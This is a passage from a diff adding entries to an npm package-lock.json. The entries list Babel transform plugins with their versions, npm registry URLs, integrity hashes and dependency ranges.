1044+ "dependencies": {
1045+ "@babel/helper-plugin-utils": "^7.27.1",
1046+ "@babel/helper-remap-async-to-generator": "^7.27.1",
1047+ "@babel/traverse": "^7.28.0"
1048+ },
1049+ "engines": {
1050+ "node": ">=6.9.0"
1051+ },
1052+ "peerDependencies": {
1053+ "@babel/core": "^7.0.0-0"
1054+ }
1055+ },
1056+ "node_modules/@babel/plugin-transform-async-to-generator": {
1057+ "version": "7.27.1",
1058+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.27.1.tgz",
1059+ "integrity": "sha512-NREkZsZVJS4xmTr8qzE5y8AfIPqsdQfRuUiLRTEzb7Qii8iFWCyDKaUV2c0rCuh4ljDZ98ALHP/PetiBV2nddA==",
1060+ "license": "MIT",
1061+ "dependencies": {
1062+ "@babel/helper-module-imports": "^7.27.1",
1063+ "@babel/helper-plugin-utils": "^7.27.1",
1064+ "@babel/helper-remap-async-to-generator": "^7.27.1"
1065+ },
1066+ "engines": {
1067+ "node": ">=6.9.0"
1068+ },
1069+ "peerDependencies": {
1070+ "@babel/core": "^7.0.0-0"
1071+ }
1072+ },
1073+ "node_modules/@babel/plugin-transform-block-scoped-functions": {
1074+ "version": "7.27.1",
1075+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.27.1.tgz",
1076+ "integrity": "sha512-cnqkuOtZLapWYZUYM5rVIdv1nXYuFVIltZ6ZJ7nIj585QsjKM5dhL2Fu/lICXZ1OyIAFc7Qy+bvDAtTXqGrlhg==",
1077+ "license": "MIT",
1078+ "dependencies": {
1079+ "@babel/helper-plugin-utils": "^7.27.1"
1080+ },
1081+ "engines": {
1082+ "node": ">=6.9.0"
1083+ },
1084+ "peerDependencies": {
1085+ "@babel/core": "^7.0.0-0"
1086+ }
1087+ },
1088+ "node_modules/@babel/plugin-transform-block-scoping": {
1089+ "version": "7.28.5",
1090+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.28.5.tgz",
1091+ "integrity": "sha512-45DmULpySVvmq9Pj3X9B+62Xe+DJGov27QravQJU1LLcapR6/10i+gYVAucGGJpHBp5mYxIMK4nDAT/QDLr47g==",
1092+ "license": "MIT",
1093+ "dependencies": {
1094+ "@babel/helper-plugin-utils": "^7.27.1"
1095+ },
1096+ "engines": {
1097+ "node": ">=6.9.0"
1098+ },
1099+ "peerDependencies": {
1100+ "@babel/core": "^7.0.0-0"
1101+ }
1102+ },
1103+ "node_modules/@babel/plugin-transform-class-properties": {
1104+ "version": "7.27.1",
1105+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-class-properties/-/plugin-transform-class-properties-7.27.1.tgz",
1106+ "integrity": "sha512-D0VcalChDMtuRvJIu3U/fwWjf8ZMykz5iZsg77Nuj821vCKI3zCyRLwRdWbsuJ/uRwZhZ002QtCqIkwC/ZkvbA==",
1107+ "license": "MIT",
1108+ "dependencies": {
1109+ "@babel/helper-create-class-features-plugin": "^7.27.1",
1110+ "@babel/helper-plugin-utils": "^7.27.1"
1111+ },
1112+ "engines": {
1113+ "node": ">=6.9.0"
1114+ },
1115+ "peerDependencies": {
1116+ "@babel/core": "^7.0.0-0"
1117+ }
1118+ },
1119+ "node_modules/@babel/plugin-transform-class-static-block": {
1120+ "version": "7.28.3",
1121+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-class-static-block/-/plugin-transform-class-static-block-7.28.3.tgz",
1122+ "integrity": "sha512-LtPXlBbRoc4Njl/oh1CeD/3jC+atytbnf/UqLoqTDcEYGUPj022+rvfkbDYieUrSj3CaV4yHDByPE+T2HwfsJg==",
1123+ "license": "MIT",
1124+ "dependencies": {
1125+ "@babel/helper-create-class-features-plugin": "^7.28.3",
1126+ "@babel/helper-plugin-utils": "^7.27.1"
1127+ },
1128+ "engines": {
1129+ "node": ">=6.9.0"
1130+ },
1131+ "peerDependencies": {
1132+ "@babel/core": "^7.12.0"
1133+ }
1134+ },
1135+ "node_modules/@babel/plugin-transform-classes": {
1136+ "version": "7.28.4",
1137+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.28.4.tgz",
1138+ "integrity": "sha512-cFOlhIYPBv/iBoc+KS3M6et2XPtbT2HiCRfBXWtfpc9OAyostldxIf9YAYB6ypURBBbx+Qv6nyrLzASfJe+hBA==",
1139+ "license": "MIT",
1140+ "dependencies": {
1141+ "@babel/helper-annotate-as-pure": "^7.27.3",
1142+ "@babel/helper-compilation-targets": "^7.27.2",
1143+ "@babel/helper-globals": "^7.28.0",
1144+ "@babel/helper-plugin-utils": "^7.27.1",
1145+ "@babel/helper-replace-supers": "^7.27.1",
1146+ "@babel/traverse": "^7.28.4"
1147+ },
1148+ "engines": {
1149+ "node": ">=6.9.0"
1150+ },
1151+ "peerDependencies": {
1152+ "@babel/core": "^7.0.0-0"
1153+ }
1154+ },
1155+ "node_modules/@babel/plugin-transform-computed-properties": {
1156+ "version": "7.27.1",
1157+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.27.1.tgz",
1158+ "integrity": "sha512-lj9PGWvMTVksbWiDT2tW68zGS/cyo4AkZ/QTp0sQT0mjPopCmrSkzxeXkznjqBxzDI6TclZhOJbBmbBLjuOZUw==",
1159+ "license": "MIT",
1160+ "dependencies": {
1161+ "@babel/helper-plugin-utils": "^7.27.1",
1162+ "@babel/template": "^7.27.1"
1163+ },
1164+ "engines": {
1165+ "node": ">=6.9.0"
1166+ },
1167+ "peerDependencies": {
1168+ "@babel/core": "^7.0.0-0"
1169+ }
1170+ },
1171+ "node_modules/@babel/plugin-transform-destructuring": {
1172+ "version": "7.28.5",
1173+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.28.5.tgz",
1174+ "integrity": "sha512-Kl9Bc6D0zTUcFUvkNuQh4eGXPKKNDOJQXVyyM4ZAQPMveniJdxi8XMJwLo+xSoW3MIq81bD33lcUe9kZpl0MCw==",
1175+ "license": "MIT",
1176+ "dependencies": {
1177+ "@babel/helper-plugin-utils": "^7.27.1",
1178+ "@babel/traverse": "^7.28.5"
1179+ },
1180+ "engines": {
1181+ "node": ">=6.9.0"
1182+ },
1183+ "peerDependencies": {
1184+ "@babel/core": "^7.0.0-0"
1185+ }
1186+ },
1187+ "node_modules/@babel/plugin-transform-dotall-regex": {
1188+ "version": "7.27.1",
1189+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.27.1.tgz",
1190+ "integrity": "sha512-gEbkDVGRvjj7+T1ivxrfgygpT7GUd4vmODtYpbs0gZATdkX8/iSnOtZSxiZnsgm1YjTgjI6VKBGSJJevkrclzw==",
1191+ "license": "MIT",
1192+ "dependencies": {
1193+ "@babel/helper-create-regexp-features-plugin": "^7.27.1",
1194+ "@babel/helper-plugin-utils": "^7.27.1"
1195+ },
1196+ "engines": {
1197+ "node": ">=6.9.0"
1198+ },
1199+ "peerDependencies": {
1200+ "@babel/core": "^7.0.0-0"
1201+ }
1202+ },
1203+ "node_modules/@babel/plugin-transform-duplicate-keys": {
1204+ "version": "7.27.1",
1205+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.27.1.tgz",
1206+ "integrity": "sha512-MTyJk98sHvSs+cvZ4nOauwTTG1JeonDjSGvGGUNHreGQns+Mpt6WX/dVzWBHgg+dYZhkC4X+zTDfkTU+Vy9y7Q==",
1207+ "license": "MIT",
1208+ "dependencies": {
1209+ "@babel/helper-plugin-utils": "^7.27.1"
1210+ },
1211+ "engines": {
1212+ "node": ">=6.9.0"
1213+ },
1214+ "peerDependencies": {
1215+ "@babel/core": "^7.0.0-0"
1216+ }
1217+ },
1218+ "node_modules/@babel/plugin-transform-duplicate-named-capturing-groups-regex": {
1219+ "version": "7.27.1",
1220+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-named-capturing-groups-regex/-/plugin-transform-duplicate-named-capturing-groups-regex-7.27.1.tgz",
1221+ "integrity": "sha512-hkGcueTEzuhB30B3eJCbCYeCaaEQOmQR0AdvzpD4LoN0GXMWzzGSuRrxR2xTnCrvNbVwK9N6/jQ92GSLfiZWoQ==",
1222+ "license": "MIT",
1223+ "dependencies": {
1224+ "@babel/helper-create-regexp-features-plugin": "^7.27.1",
1225+ "@babel/helper-plugin-utils": "^7.27.1"
1226+ },
1227+ "engines": {
1228+ "node": ">=6.9.0"
1229+ },
1230+ "peerDependencies": {
1231+ "@babel/core": "^7.0.0"
1232+ }
1233+ },
1234+ "node_modules/@babel/plugin-transform-dynamic-import": {
1235+ "version": "7.27.1",
1236+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dynamic-import/-/plugin-transform-dynamic-import-7.27.1.tgz",
1237+ "integrity": "sha512-MHzkWQcEmjzzVW9j2q8LGjwGWpG2mjwaaB0BNQwst3FIjqsg8Ct/mIZlvSPJvfi9y2AC8mi/ktxbFVL9pZ1I4A==",
1238+ "license": "MIT",
1239+ "dependencies": {
1240+ "@babel/helper-plugin-utils": "^7.27.1"
1241+ },
1242+ "engines": {
1243+ "node": ">=6.9.0"
1244+ },
1245+ "peerDependencies": {
1246+ "@babel/core": "^7.0.0-0"
1247+ }
1248+ },
1249+ "node_modules/@babel/plugin-transform-explicit-resource-management": {
1250+ "version": "7.28.0",
1251+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-explicit-resource-management/-/plugin-transform-explicit-resource-management-7.28.0.tgz",
1252+ "integrity": "sha512-K8nhUcn3f6iB+P3gwCv/no7OdzOZQcKchW6N389V6PD8NUWKZHzndOd9sPDVbMoBsbmjMqlB4L9fm+fEFNVlwQ==",
1253+ "license": "MIT",
1254+ "dependencies": {
1255+ "@babel/helper-plugin-utils": "^7.27.1",
1256+ "@babel/plugin-transform-destructuring": "^7.28.0"
1257+ },
1258+ "engines": {
1259+ "node": ">=6.9.0"
1260+ },
1261+ "peerDependencies": {
1262+ "@babel/core": "^7.0.0-0"
1263+ }
1264+ },
1265+ "node_modules/@babel/plugin-transform-exponentiation-operator": {
1266+ "version": "7.28.5",
1267+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.28.5.tgz",
1268+ "integrity": "sha512-D4WIMaFtwa2NizOp+dnoFjRez/ClKiC2BqqImwKd1X28nqBtZEyCYJ2ozQrrzlxAFrcrjxo39S6khe9RNDlGzw==",
1269+ "license": "MIT",
1270+ "dependencies": {
1271+ "@babel/helper-plugin-utils": "^7.27.1"
1272+ },
1273+ "engines": {
1274+ "node": ">=6.9.0"
1275+ },
1276+ "peerDependencies": {
1277+ "@babel/core": "^7.0.0-0"
1278+ }
1279+ },
1280+ "node_modules/@babel/plugin-transform-export-namespace-from": {
1281+ "version": "7.27.1",
1282+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-export-namespace-from/-/plugin-transform-export-namespace-from-7.27.1.tgz",
1283+ "integrity": "sha512-tQvHWSZ3/jH2xuq/vZDy0jNn+ZdXJeM8gHvX4lnJmsc3+50yPlWdZXIc5ay+umX+2/tJIqHqiEqcJvxlmIvRvQ==",
1284+ "license": "MIT",
1285+ "dependencies": {
1286+ "@babel/helper-plugin-utils": "^7.27.1"
1287+ },
1288+ "engines": {
1289+ "node": ">=6.9.0"
1290+ },
1291+ "peerDependencies": {
1292+ "@babel/core": "^7.0.0-0"
1293+ }
1294+ },
1295+ "node_modules/@babel/plugin-transform-flow-strip-types": {
1296+ "version": "7.27.1",
1297+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-flow-strip-types/-/plugin-transform-flow-strip-types-7.27.1.tgz",
1298+ "integrity": "sha512-G5eDKsu50udECw7DL2AcsysXiQyB7Nfg521t2OAJ4tbfTJ27doHLeF/vlI1NZGlLdbb/v+ibvtL1YBQqYOwJGg==",
1299+ "license": "MIT",
1300+ "dependencies": {
1301+ "@babel/helper-plugin-utils": "^7.27.1",
1302+ "@babel/plugin-syntax-flow": "^7.27.1"
1303+ },
1304+ "engines": {
1305+ "node": ">=6.9.0"
1306+ },
1307+ "peerDependencies": {
1308+ "@babel/core": "^7.0.0-0"
1309+ }
1310+ },
1311+ "node_modules/@babel/plugin-transform-for-of": {
1312+ "version": "7.27.1",
1313+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.27.1.tgz",
1314+ "integrity": "sha512-BfbWFFEJFQzLCQ5N8VocnCtA8J1CLkNTe2Ms2wocj75dd6VpiqS5Z5quTYcUoo4Yq+DN0rtikODccuv7RU81sw==",
1315+ "license": "MIT",
1316+ "dependencies": {
1317+ "@babel/helper-plugin-utils": "^7.27.1",
1318+ "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1"
1319+ },
1320+ "engines": {
1321+ "node": ">=6.9.0"
1322+ },
1323+ "peerDependencies": {
1324+ "@babel/core": "^7.0.0-0"
1325+ }
1326+ },
1327+ "node_modules/@babel/plugin-transform-function-name": {
1328+ "version": "7.27.1",
1329+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.27.1.tgz",
1330+ "integrity": "sha512-1bQeydJF9Nr1eBCMMbC+hdwmRlsv5XYOMu03YSWFwNs0HsAmtSxxF1fyuYPqemVldVyFmlCU7w8UE14LupUSZQ==",
1331+ "license": "MIT",
1332+ "dependencies": {
1333+ "@babel/helper-compilation-targets": "^7.27.1",
1334+ "@babel/helper-plugin-utils": "^7.27.1",
1335+ "@babel/traverse": "^7.27.1"
1336+ },
1337+ "engines": {
1338+ "node": ">=6.9.0"
1339+ },
1340+ "peerDependencies": {
1341+ "@babel/core": "^7.0.0-0"
1342+ }
1343+ },
1344+ "node_modules/@babel/plugin-transform-json-strings": {
1345+ "version": "7.27.1",
1346+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-json-strings/-/plugin-transform-json-strings-7.27.1.tgz",
1347+ "integrity": "sha512-6WVLVJiTjqcQauBhn1LkICsR2H+zm62I3h9faTDKt1qP4jn2o72tSvqMwtGFKGTpojce0gJs+76eZ2uCHRZh0Q==",
1348+ "license": "MIT",
1349+ "dependencies": {
1350+ "@babel/helper-plugin-utils": "^7.27.1"
1351+ },
1352+ "engines": {
1353+ "node": ">=6.9.0"
1354+ },
1355+ "peerDependencies": {
1356+ "@babel/core": "^7.0.0-0"
1357+ }
1358+ },
1359+ "node_modules/@babel/plugin-transform-literals": {
1360+ "version": "7.27.1",
1361+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.27.1.tgz",
1362+ "integrity": "sha512-0HCFSepIpLTkLcsi86GG3mTUzxV5jpmbv97hTETW3yzrAij8aqlD36toB1D0daVFJM8NK6GvKO0gslVQmm+zZA==",
1363+ "license": "MIT",
1364+ "dependencies": {
1365+ "@babel/helper-plugin-utils": "^7.27.1"
1366+ },
1367+ "engines": {
1368+ "node": ">=6.9.0"
1369+ },
1370+ "peerDependencies": {
1371+ "@babel/core": "^7.0.0-0"
1372+ }
1373+ },
1374+ "node_modules/@babel/plugin-transform-logical-assignment-operators": {
1375+ "version": "7.28.5",
1376+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-logical-assignment-operators/-/plugin-transform-logical-assignment-operators-7.28.5.tgz",
1377+ "integrity": "sha512-axUuqnUTBuXyHGcJEVVh9pORaN6wC5bYfE7FGzPiaWa3syib9m7g+/IT/4VgCOe2Upef43PHzeAvcrVek6QuuA==",
1378+ "license": "MIT",
1379+ "dependencies": {
1380+ "@babel/helper-plugin-utils": "^7.27.1"
1381+ },
1382+ "engines": {
1383+ "node": ">=6.9.0"
1384+ },
1385+ "peerDependencies": {
1386+ "@babel/core": "^7.0.0-0"
1387+ }
1388+ },
1389+ "node_modules/@babel/plugin-transform-member-expression-literals": {
1390+ "version": "7.27.1",
1391+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.27.1.tgz",
1392+ "integrity": "sha512-hqoBX4dcZ1I33jCSWcXrP+1Ku7kdqXf1oeah7ooKOIiAdKQ+uqftgCFNOSzA5AMS2XIHEYeGFg4cKRCdpxzVOQ==",
1393+ "license": "MIT",
1394+ "dependencies": {
1395+ "@babel/helper-plugin-utils": "^7.27.1"
1396+ },
1397+ "engines": {
1398+ "node": ">=6.9.0"
1399+ },
1400+ "peerDependencies": {
1401+ "@babel/core": "^7.0.0-0"
1402+ }
1403+ },
1404+ "node_modules/@babel/plugin-transform-modules-amd": {
1405+ "version": "7.27.1",
1406+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.27.1.tgz",
1407+ "integrity": "sha512-iCsytMg/N9/oFq6n+gFTvUYDZQOMK5kEdeYxmxt91fcJGycfxVP9CnrxoliM0oumFERba2i8ZtwRUCMhvP1LnA==",
1408+ "license": "MIT",
1409+ "dependencies": {
1410+ "@babel/helper-module-transforms": "^7.27.1",
1411+ "@babel/helper-plugin-utils": "^7.27.1"
1412+ },
1413+ "engines": {
1414+ "node": ">=6.9.0"
1415+ },
1416+ "peerDependencies": {
1417+ "@babel/core": "^7.0.0-0"
1418+ }
1419+ },
1420+ "node_modules/@babel/plugin-transform-modules-commonjs": {
1421+ "version": "7.27.1",
1422+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.27.1.tgz",
1423+ "integrity": "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw==",
1424+ "license": "MIT",
1425+ "dependencies": {
1426+ "@babel/helper-module-transforms": "^7.27.1",
1427+ "@babel/helper-plugin-utils": "^7.27.1"
1428+ },
1429+ "engines": {
1430+ "node": ">=6.9.0"
1431+ },
1432+ "peerDependencies": {
1433+ "@babel/core": "^7.0.0-0"
1434+ }
1435+ },
1436+ "node_modules/@babel/plugin-transform-modules-systemjs": {
1437+ "version": "7.28.5",
1438+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.28.5.tgz",
1439+ "integrity": "sha512-vn5Jma98LCOeBy/KpeQhXcV2WZgaRUtjwQmjoBuLNlOmkg0fB5pdvYVeWRYI69wWKwK2cD1QbMiUQnoujWvrew==",
1440+ "license": "MIT",
1441+ "dependencies": {
1442+ "@babel/helper-module-transforms": "^7.28.3",
1443+ "@babel/helper-plugin-utils": "^7.27.1",
1444+ "@babel/helper-validator-identifier": "^7.28.5",
1445+ "@babel/traverse": "^7.28.5"
1446+ },
1447+ "engines": {
1448+ "node": ">=6.9.0"
1449+ },
1450+ "peerDependencies": {
1451+ "@babel/core": "^7.0.0-0"
1452+ }
1453+ },
1454+ "node_modules/@babel/plugin-transform-modules-umd": {
1455+ "version": "7.27.1",
1456+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.27.1.tgz",
1457+ "integrity": "sha512-iQBE/xC5BV1OxJbp6WG7jq9IWiD+xxlZhLrdwpPkTX3ydmXdvoCpyfJN7acaIBZaOqTfr76pgzqBJflNbeRK+w==",
1458+ "license": "MIT",
1459+ "dependencies": {
1460+ "@babel/helper-module-transforms": "^7.27.1",
1461+ "@babel/helper-plugin-utils": "^7.27.1"
1462+ },
1463+ "engines": {
1464+ "node": ">=6.9.0"
1465+ },
1466+ "peerDependencies": {
1467+ "@babel/core": "^7.0.0-0"
1468+ }
1469+ },
1470+ "node_modules/@babel/plugin-transform-named-capturing-groups-regex": {
1471+ "version": "7.27.1",
1472+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.27.1.tgz",
1473+ "integrity": "sha512-SstR5JYy8ddZvD6MhV0tM/j16Qds4mIpJTOd1Yu9J9pJjH93bxHECF7pgtc28XvkzTD6Pxcm/0Z73Hvk7kb3Ng==",
1474+ "license": "MIT",
1475+ "dependencies": {
1476+ "@babel/helper-create-regexp-features-plugin": "^7.27.1",
1477+ "@babel/helper-plugin-utils": "^7.27.1"
1478+ },
1479+ "engines": {
1480+ "node": ">=6.9.0"
1481+ },
1482+ "peerDependencies": {
1483+ "@babel/core": "^7.0.0"
1484+ }
1485+ },
1486+ "node_modules/@babel/plugin-transform-new-target": {
1487+ "version": "7.27.1",
1488+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.27.1.tgz",
1489+ "integrity": "sha512-f6PiYeqXQ05lYq3TIfIDu/MtliKUbNwkGApPUvyo6+tc7uaR4cPjPe7DFPr15Uyycg2lZU6btZ575CuQoYh7MQ==",
1490+ "license": "MIT",
1491+ "dependencies": {
1492+ "@babel/helper-plugin-utils": "^7.27.1"
1493+ },
1494+ "engines": {
1495+ "node": ">=6.9.0"
1496+ },
1497+ "peerDependencies": {
1498+ "@babel/core": "^7.0.0-0"
1499+ }
1500+ },
1501+ "node_modules/@babel/plugin-transform-nullish-coalescing-operator": {
1502+ "version": "7.27.1",
1503+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-nullish-coalescing-operator/-/plugin-transform-nullish-coalescing-operator-7.27.1.tgz",
1504+ "integrity": "sha512-aGZh6xMo6q9vq1JGcw58lZ1Z0+i0xB2x0XaauNIUXd6O1xXc3RwoWEBlsTQrY4KQ9Jf0s5rgD6SiNkaUdJegTA==",
1505+ "license": "MIT",
1506+ "dependencies": {
1507+ "@babel/helper-plugin-utils": "^7.27.1"
1508+ },
1509+ "engines": {
1510+ "node": ">=6.9.0"
1511+ },
1512+ "peerDependencies": {
1513+ "@babel/core": "^7.0.0-0"
1514+ }
1515+ },
1516+ "node_modules/@babel/plugin-transform-numeric-separator": {
1517+ "version": "7.27.1",
1518+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-numeric-separator/-/plugin-transform-numeric-separator-7.27.1.tgz",
1519+ "integrity": "sha512-fdPKAcujuvEChxDBJ5c+0BTaS6revLV7CJL08e4m3de8qJfNIuCc2nc7XJYOjBoTMJeqSmwXJ0ypE14RCjLwaw==",
1520+ "license": "MIT",
1521+ "dependencies": {
1522+ "@babel/helper-plugin-utils": "^7.27.1"
1523+ },
1524+ "engines": {
1525+ "node": ">=6.9.0"
1526+ },
1527+ "peerDependencies": {
1528+ "@babel/core": "^7.0.0-0"
1529+ }
1530+ },
1531+ "node_modules/@babel/plugin-transform-object-rest-spread": {
1532+ "version": "7.28.4",
1533+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-rest-spread/-/plugin-transform-object-rest-spread-7.28.4.tgz",
1534+ "integrity": "sha512-373KA2HQzKhQCYiRVIRr+3MjpCObqzDlyrM6u4I201wL8Mp2wHf7uB8GhDwis03k2ti8Zr65Zyyqs1xOxUF/Ew==",
1535+ "license": "MIT",
1536+ "dependencies": {
1537+ "@babel/helper-compilation-targets": "^7.27.2",
1538+ "@babel/helper-plugin-utils": "^7.27.1",
1539+ "@babel/plugin-transform-destructuring": "^7.28.0",
1540+ "@babel/plugin-transform-parameters": "^7.27.7",
1541+ "@babel/traverse": "^7.28.4"
1542+ },
1543+ "engines": {
1544+ "node": ">=6.9.0"
1545+ },
1546+ "peerDependencies": {
1547+ "@babel/core": "^7.0.0-0"
1548+ }
1549+ },
1550+ "node_modules/@babel/plugin-transform-object-super": {
1551+ "version": "7.27.1",
1552+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.27.1.tgz",
1553+ "integrity": "sha512-SFy8S9plRPbIcxlJ8A6mT/CxFdJx/c04JEctz4jf8YZaVS2px34j7NXRrlGlHkN/M2gnpL37ZpGRGVFLd3l8Ng==",
1554+ "license": "MIT",
1555+ "dependencies": {
1556+ "@babel/helper-plugin-utils": "^7.27.1",
1557+ "@babel/helper-replace-supers": "^7.27.1"
1558+ },
1559+ "engines": {
1560+ "node": ">=6.9.0"
1561+ },
1562+ "peerDependencies": {
1563+ "@babel/core": "^7.0.0-0"
1564+ }
1565+ },
1566+ "node_modules/@babel/plugin-transform-optional-catch-binding": {
1567+ "version": "7.27.1",
1568+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-catch-binding/-/plugin-transform-optional-catch-binding-7.27.1.tgz",
1569+ "integrity": "sha512-txEAEKzYrHEX4xSZN4kJ+OfKXFVSWKB2ZxM9dpcE3wT7smwkNmXo5ORRlVzMVdJbD+Q8ILTgSD7959uj+3Dm3Q==",
1570+ "license": "MIT",
1571+ "dependencies": {
1572+ "@babel/helper-plugin-utils": "^7.27.1"
1573+ },
1574+ "engines": {
1575+ "node": ">=6.9.0"
1576+ },
1577+ "peerDependencies": {
1578+ "@babel/core": "^7.0.0-0"
1579+ }
1580+ },
1581+ "node_modules/@babel/plugin-transform-optional-chaining": {
1582+ "version": "7.28.5",
1583+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-chaining/-/plugin-transform-optional-chaining-7.28.5.tgz",
1584+ "integrity": "sha512-N6fut9IZlPnjPwgiQkXNhb+cT8wQKFlJNqcZkWlcTqkcqx6/kU4ynGmLFoa4LViBSirn05YAwk+sQBbPfxtYzQ==",
1585+ "license": "MIT",
1586+ "dependencies": {
1587+ "@babel/helper-plugin-utils": "^7.27.1",
1588+ "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1"
1589+ },
1590+ "engines": {
1591+ "node": ">=6.9.0"
1592+ },
1593+ "peerDependencies": {
1594+ "@babel/core": "^7.0.0-0"
1595+ }
1596+ },
1597+ "node_modules/@babel/plugin-transform-parameters": {
1598+ "version": "7.27.7",
1599+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.27.7.tgz",
1600+ "integrity": "sha512-qBkYTYCb76RRxUM6CcZA5KRu8K4SM8ajzVeUgVdMVO9NN9uI/GaVmBg/WKJJGnNokV9SY8FxNOVWGXzqzUidBg==",
1601+ "license": "MIT",
1602+ "dependencies": {
1603+ "@babel/helper-plugin-utils": "^7.27.1"
1604+ },
1605+ "engines": {
1606+ "node": ">=6.9.0"
1607+ },
1608+ "peerDependencies": {
1609+ "@babel/core": "^7.0.0-0"
1610+ }
1611+ },
1612+ "node_modules/@babel/plugin-transform-private-methods": {
1613+ "version": "7.27.1",
1614+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-private-methods/-/plugin-transform-private-methods-7.27.1.tgz",
1615+ "integrity": "sha512-10FVt+X55AjRAYI9BrdISN9/AQWHqldOeZDUoLyif1Kn05a56xVBXb8ZouL8pZ9jem8QpXaOt8TS7RHUIS+GPA==",
1616+ "license": "MIT",
1617+ "dependencies": {
1618+ "@babel/helper-create-class-features-plugin": "^7.27.1",
1619+ "@babel/helper-plugin-utils": "^7.27.1"
1620+ },
1621+ "engines": {
1622+ "node": ">=6.9.0"
1623+ },
1624+ "peerDependencies": {
1625+ "@babel/core": "^7.0.0-0"
1626+ }
1627+ },
1628+ "node_modules/@babel/plugin-transform-private-property-in-object": {
1629+ "version": "7.27.1",
1630+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-private-property-in-object/-/plugin-transform-private-property-in-object-7.27.1.tgz",
1631+ "integrity": "sha512-5J+IhqTi1XPa0DXF83jYOaARrX+41gOewWbkPyjMNRDqgOCqdffGh8L3f/Ek5utaEBZExjSAzcyjmV9SSAWObQ==",
1632+ "license": "MIT",
1633+ "dependencies": {
1634+ "@babel/helper-annotate-as-pure": "^7.27.1",
1635+ "@babel/helper-create-class-features-plugin": "^7.27.1",
1636+ "@babel/helper-plugin-utils": "^7.27.1"
1637+ },
1638+ "engines": {
1639+ "node": ">=6.9.0"
1640+ },
1641+ "peerDependencies": {
1642+ "@babel/core": "^7.0.0-0"
1643+ }
1644+ },
1645+ "node_modules/@babel/plugin-transform-property-literals": {
1646+ "version": "7.27.1",
1647+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.27.1.tgz",
1648+ "integrity": "sha512-oThy3BCuCha8kDZ8ZkgOg2exvPYUlprMukKQXI1r1pJ47NCvxfkEy8vK+r/hT9nF0Aa4H1WUPZZjHTFtAhGfmQ==",
1649+ "license": "MIT",
1650+ "dependencies": {
1651+ "@babel/helper-plugin-utils": "^7.27.1"
1652+ },
1653+ "engines": {
1654+ "node": ">=6.9.0"
1655+ },
1656+ "peerDependencies": {
1657+ "@babel/core": "^7.0.0-0"
1658+ }
1659+ },
1660+ "node_modules/@babel/plugin-transform-react-constant-elements": {
1661+ "version": "7.27.1",
1662+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-constant-elements/-/plugin-transform-react-constant-elements-7.27.1.tgz",
1663+ "integrity": "sha512-edoidOjl/ZxvYo4lSBOQGDSyToYVkTAwyVoa2tkuYTSmjrB1+uAedoL5iROVLXkxH+vRgA7uP4tMg2pUJpZ3Ug==",
1664+ "license": "MIT",
1665+ "dependencies": {
1666+ "@babel/helper-plugin-utils": "^7.27.1"
1667+ },
1668+ "engines": {
1669+ "node": ">=6.9.0"
1670+ },
1671+ "peerDependencies": {
1672+ "@babel/core": "^7.0.0-0"
1673+ }
1674+ },
1675+ "node_modules/@babel/plugin-transform-react-display-name": {
1676+ "version": "7.28.0",
1677+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.28.0.tgz",
